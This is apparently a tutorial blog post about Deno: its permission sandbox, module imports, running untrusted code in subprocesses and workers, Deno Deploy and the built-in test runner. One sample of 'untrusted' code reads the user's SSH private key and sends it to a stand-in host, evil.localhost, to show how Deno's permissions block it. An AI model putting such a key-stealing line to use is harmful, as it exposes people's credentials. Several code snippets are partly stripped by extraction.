What is Deno and how to use its sandbox?
Check out a cool sandbox demo in Deno Deploy section.
// write-file.ts await "hello.txt", "Hello World";
Let's try to run this example:
deno run write-file.ts ⚠️ ┌ Deno requests write access to "hello.txt". ├ Requested by `Deno.writeFile()` API ├ Run again with --allow-write to bypass this prompt. └ Allow? [y/n] (y = yes, allow; n = no, deny) >
You can see built-in sandbox in action here. Deno stops execution as it notices that we are trying to write to a file without explicitly specifying a write permission. We can either type
y and hit Enter or rerun the script with a permission flag:
> deno run --allow-write write-file.ts > cat hello.txt Hello World
If you want to play around with Deno you can just run remote examples like
deno run https://examples.deno.land/hello-world.ts.
Deno uses browser standard ES6 modules. You can import a local file or a remote file.
Our import example imports both local and remote modules.
// import-example.ts ; ; 'Tom'; 'Alice';
If you go to https://examples.deno.land/import-export/util.ts you will see that it is just a TypeScript file similar to our local one.
> deno run import-example.ts Hello (local), Tom! Hello, Alice!
When Deno enounters a remote import it simply downloads the file and imports it. Remember that we have an always-on sandbox enabled so your script will not run anything that you haven't given permission for.
In real life scenarios you would use Deno's integrity checking with lock files.
It is possible to fetch private modules. Deno needs to authenticated with the remote server. You just need to set an environment variable like
and now every HTTP request to fetch module from deno.land host will include an
Authorization header with
Bearer abc123 value.
While Deno is purposefully built not to require NPM at all they are hard at work to provide a compatibility layer in case you want to use NPM dependencies or Node.js built-in modules. In either case you do need to add an
node: specifier to the import path.
// You can import NPM dependencies directly. ; "Hello!";
// You can import Node.js built-in modules directly. ; "deno.json", ;
Let's talk more about Deno's sandbox. Deno provides us with capability-based permissions that apply to a whole process. This is what we saw earlier when we tried to write to a file. Deno required us to specify
allow-write permission. These permissions apply to all modules within a process.
What if you want to execute untrusted code as part of your application? You can either just run it and hope for the best (e.g editor plugins) or you can run the code inside Docker containers. Now there is one more option: Deno. With Deno it becomes much simpler and more lightweight.
How do we execute untrusted code?
There are two options. First, is to run a subprocess with a different permission set.
// user-code.ts // This is untrusted user-code that we want to execute safely. ; await 'http://evil.localhost', ;
Now everytime we want to execute untrusted code we just spawn a subprocess.
; ; code;
Lucky for us when we run our process it fails with:
> deno run --allow-run runner.ts error: Uncaught PermissionDenied: Requires env access to "HOME", run again with the --allow-env flag const privateKey = await Deno.readFile(Deno.env.get("HOME") + "/.ssh/id_ed25519");
What if you want user code to reference other files? Then you need to add
allow-read permission. Yes, you can do finer graned limitations by specifying file paths or hosts the process can have access to.
In the end our runner could become something like:
// runner.ts ; ; code;
deno run --allow-run runner.ts. Process should still fail due to missing permissions.
- You can specify permissions on subprocess indendently
- You can specify finer-grained permissions if necessary. E.g if you allow reading files you can limit the paths.
Per process sandbox is not the only way you can limit permissions. Deno supports Web Workers with an unstable support for specifying permissions per web worker.
// worker-runner.ts ;
Let's try running the same user code but in a worker.
> deno run --unstable --allow-all --no-prompt sandbox.ts error: Uncaught (in worker "") PermissionDenied: Requires env access to "HOME", run again with the --allow-env flag const privateKey = await Deno.readFile(Deno.env.get("HOME") + "/.ssh/id_ed25519"); ^ at Object.getEnv [as get] (deno:runtime/js/30_os.js:86:16) at file:///.../user-code.ts:4:49
Great! Even though we provide all permissions to the main process, our user code fails to be executed due to a missing permission.
In the next section you can play around with an actual app that executes user code in a web worker sandbox.
Deno Deploy is a serverless hosting platform running on the edge. That's a lot to unpack...
Serverless is a development model that allows developers to build and run applications without having to manage servers. You push the code and the platform runs it on their servers. The platform manages where the code is running and how. Think AWS Lambda but with support for long running processes.
Hosting on the edge means CDN-like deployment. Platform runs your application on many different machines distributed over the globe. When user sends a request, the platform uses anycast network to find the closest process and forwards user's request there.
In this chapter let's try to build an app that will safely execute user-submitted code. We want to:
- Run code from external users safely (sandboxing user code)
- Execute the code immediately (respond within the same request-response cycle)
I was going to deploy my sample app to Deno Deploy but in the process I hit two road blocks.
First one was that Deno Deploy doesn't support new import map location (instead of a separate file you can configure import map in
deno.json). It was easy to solve but rather annoying.
Second was a bummer: Workers are not supported there... I planned to use a Worker to execute third-party code.
I didn't want to rewrite my app to potentially hit another limitation so I deployed it elsewhere: fly.io.
What can you do with it? The app is a simple sandbox that executes code submitted by users and draws SVGs. You can play around with the code below. SVG will rerender automatically as you type.
The server is open-source and you can see how sandbox works on GitHub.
What would you like to read more about?
Are you still debating whether you should use jest or jasmine? Are you having difficulties setting up TypeScript support in jest? Don't know whether to use jest or ts-jest? You don't need to answer any of these questions with Deno. Deno comes with a test runner out of the box.
// url_test.ts ; "url test",;
And then just:
> deno test url_test.ts Check file:///.../url_test.ts running 1 test from ./url_test.ts url test ... ok (5ms) ok | 1 passed | 0 failed (23ms)
As an experiment let's see if we can reuse Deno's test runner in some other scenarios.
Note, that Deno recommends using other tools if you plan to bundle for the Web. Deno is not intended to replace existing build tools for your UI applications.
With this thought in mind let's still say we have a preact UI application and we want to test it. Is Deno generic enough to support this use case?
// Counter.tsx ;
Now comes the interesting part: our test file.
// Counter_test.tsx ; ; ; ; // Setup JSDOM ; globalThis.document = doc.window.document; "Counter", ; // Instead of manual clean up before each test we can use Deno's BDD testing methods: // describe, it, beforeEach from "https://email@example.com/testing/bdd.ts".
I use built-in assertion methods to verify the state. It is possible to set up Jest-like matchers. Huge thanks to John Griffin for figuring out the path.
You may have noticed that our imports do not specify any versions. That's because I am using an import map which I define in Deno's configuration file.
JSDOM requires a Node-specific method that is not available in Deno. Luckily, it is possible to override a single import using "scopes".
// vm.ts ;
Now we can finally run the tests:
> deno test --no-check --allow-env Counter_test.tsx running 1 test from ./Counter_test.tsx Counter ... should display initial count ... ok (6ms) should increment after "Increment" button is clicked ... ok (9ms) Counter ... ok (20ms)
Hooray! We are able to test even preact UI with Deno. Sadly, right after success message there is an exception:
Uncaught error from ./Counter_test.tsx FAILED ERRORS ./Counter_test.tsx (uncaught error) error: Error: Deno.core.runMicrotasks() is not supported in this environment throw new Error( ^ at Object.runMicrotasks (https://firstname.lastname@example.org/node/_core.ts:22:13) at processTicksAndRejections (https://email@example.com/node/_next_tick.ts:62:10) at https://firstname.lastname@example.org/node/process.ts:375:7 This error was not caught from a test and caused the test runner to fail on the referenced module. It most likely originated from a dangling promise, event/timeout handler or top-level code.
I haven't been able to fully figure out why it happens. Maybe some dangling promises or JSDOM assumes Node.js?
¯\_(ツ)_/¯ Let me know if you figured out the answer!
For UI tests I would recommend to stick with Vitest, Cypress or Playwright.
Deno is not the only one Node.js alternative. There is also Bun which is WebKit-based.
Note that Bun's performance benchmarks may not represent the real world situation. Read more.